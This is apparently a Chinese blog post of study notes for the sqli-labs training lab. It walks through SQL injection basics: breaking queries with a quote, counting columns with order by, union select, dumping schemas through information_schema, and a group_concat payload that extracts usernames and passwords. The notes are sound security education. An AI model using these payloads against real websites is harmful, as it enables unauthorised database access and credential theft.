sqli-labs-master 闯关前知识点学习

1)、前期准备、知识点

开始之前,为了方便查看sql注入语句,我在sqli-labs-master网页源码php部分加了两行代码,第一行意思是输出数据库语句,第二行是换行符

一、Mysql 登录 

1、明文密码   在bin目录下 输入:mysql -u 账户 -p 密码

2、**密码  在bin目录下 输入:mysql -u 账户 -p 后回车再输入密码 

 

二、注释符

--+  --  # 都是SQL语句的注释符 ,sql语句运行到此结束。

 

三、and or 

  A and B A,B都Ture 结果才为Ture 

  A or B A,B 有一个Ture 结果就为Ture

 

四、limit

limit m,n :显示从m列开始 显示n行

 

五、 ?id=1  后加   '  

可以判断存在SQL漏洞,

例如:http://localhost/sqli-labs-master/Less-1/?id= 1'or 1=1 --+

sql语句:SELECT * FROM users WHERE id=' 1'or 1=1 -- ' LIMIT 0,1

 

六、order by

order by + n  : 查询结果根据第n列排序

order by 可判断数据表 列数

在尝试是N值折半测试

例:http://localhost/sqli-labs-master/Less-1/?id=1'order by 3 --+

SELECT * FROM users WHERE id='1'order by 3 -- ' LIMIT 0,1

 

七、union 联合查询

在使用 order by 测试出列数后,使用 union + 数字  查看回显信息,测试回显的哪几列,

错误示例:http://localhost/sqli-labs-master/Less-1/?id=1'union select 1,2,3--+

如图,在id值正确时 由于limit 0,1只能显示一行,回显结果无法做出正确判断

正确示例:http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,2,3--+

如图,将id值设置为-1(即不存在值),结果回显为第2、3列

 

 

八、利用union 回显位置进行数据库查询 

例:http://localhost/sqli-labs-master/Less-1/?id=-1'union select 1,2,user()--+ 

在回显位置 显示用户(select user()

 

 九、' 部分 特殊字符部分转化为十六进制

注:在SQL注入时  如需 ' ' 单引号括住内容  尽量转化为16进制(0x+内容的十六进制)

方式如下:

 

 

十、暴库SQL语句

查库:select schema_name from information_schema.schemata

查表:select table_name from information_schema.tables where table_schema='库名'

查列:select column_name from information_schema.columns where table_name='表名'

查字段:select 列1,列2,列3 from 库名.表名

注:引号包裹部分 整体使用十六进制代替 如  table_schema='security'  ->  table_schema=0x7365637572697479

 

十一、SQL常用函数

查询函数

1.version()   --Mysql版本

2.user()  --数据库用户名

3.database()  --数据库名

4.@@datadir  --数据库安装路径

5.@@version_compile_os  --操作系统的版本

 

字符串连接函数:

1.concat(字符串1,字符串2)   --没有分隔符的连接字符串

2.concat_ws(-/~,字符串1,字符串2)  --含有分隔符的连接字符串

3.group_concat(字符串1,字符串2)    --连接一个组的所有字符串,并用,分隔每一个字符。

例:select 1,2,group_concat(concat_ws(0x2d2d,id,username,password)) from security.users

使用及区别详情见:https://baijiahao.baidu.com/s?id=1595349117525189591&wfr=spider&for=pc

posted @ 2020-02-03 17:12  燕钰达  阅读(1033)  评论(0编辑  收藏  举报